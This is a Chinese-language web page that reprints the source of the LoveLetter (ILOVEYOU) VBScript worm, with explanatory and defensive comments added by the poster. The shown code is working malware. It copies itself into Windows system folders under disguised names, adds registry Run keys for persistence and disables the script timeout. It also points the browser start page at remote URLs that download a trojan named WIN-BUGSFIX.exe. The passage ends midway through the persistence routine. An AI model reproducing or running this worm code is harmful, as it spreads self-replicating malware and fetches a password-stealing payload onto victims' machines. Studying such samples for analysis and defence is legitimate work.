LoveLetter病毒源代碼

字號:

' 如果認為本文章可能被壞人利用,請予以刪除。
    ' 程序中的中文注釋為本人所加,并針對病毒特點予以解釋,同時,給出了預防病毒的方法。
    ' 我個人認為Love Letter寫的并不是十分的棒,但是它使用的不少技術確實令人贊嘆
    ' 病毒作者也許沒有受過專業(yè)的編程訓練,但是從選擇的程序資源來看,確實下了一番功夫。
    ' 本病毒源碼也可以用來回答VB愛好者的很多問題。
    rem barok -loveletter(vbe)
    rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
    pines
    ' 注釋:程序作者的簽名(可能)
    On Error Resume Next
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
    eq=""
    ctr=0
    Set fso = CreateObject("Scripting.FileSystemObject")
    ' 注釋:FileSystemObject是M$ VBVM系統(tǒng)中最危險的部分,它的功能十分強大
    ' 從病毒使用FSO可以知道,通過修改注冊表,可以輕易防止 Love Letter發(fā)作。
    set file = fso.OpenTextFile(WScript.ScriptFullname,1)
    vbscopy=file.ReadAll
    main()
    ' 注釋 - 程序初始化完成。
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript.Shell")
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
    g Host\Settings\Timeout")
    if (rr>=1) then
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
    Host\Settings\Timeout",0,"REG_DWORD"
    ' 注釋 - 防止操作超時造成的程序終止。
    ' 應該說,編寫病毒的程序員考慮到了可能發(fā)生的問題,這一點值得所有的編程
    者借鑒。
    end if
    Set dirwin = fso.GetSpecialFolder(0)
    Set dirsystem = fso.GetSpecialFolder(1)
    Set dirtemp = fso.GetSpecialFolder(2)
    ' 獲取系統(tǒng)關鍵文件夾的名稱
    ' VB編程時可以用。
    Set c = fso.GetFile(WScript.ScriptFullName)
    c.Copy(dirsystem&"\MSKernel32.vbs")
    c.Copy(dirwin&"\Win32DLL.vbs")
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
    ' 復制自身到關鍵目錄中備用。
    ' 文件名并不是很好。太容易被發(fā)現(xiàn)了。
    regruns()
    html()
    spreadtoemail()
    listadriv()
    end sub
    sub regruns()
    ' 修改注冊表,以便自動裝載病毒程序
    ' 預防:經(jīng)常檢查注冊表中的這一分支。
    ' 已知的方法還有把HTA放入Startup文件夾。病毒程序使用的方法更先進,
    ' 因為它不會因為語言問題而失效。
    On Error Resume Next
    Dim num,downread
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
    n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
    n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
    downread=""
    downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
    r\Download Directory")
    if (downread="") then
    downread="c:\"
    end if
    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
    Randomize
    num = Int((4 * Rnd) + 1)
    if num = 1 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
    "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
    w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
    elseif num = 2 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
    "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
    546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
    elseif num = 3 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
    "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkboPBdQZnm
    POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
    elseif num = 4 then
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
    "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
    YUgqwerasdjhPhjasfdglkNBhbqWebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
    UGSFIX.exe"
    end if
    end if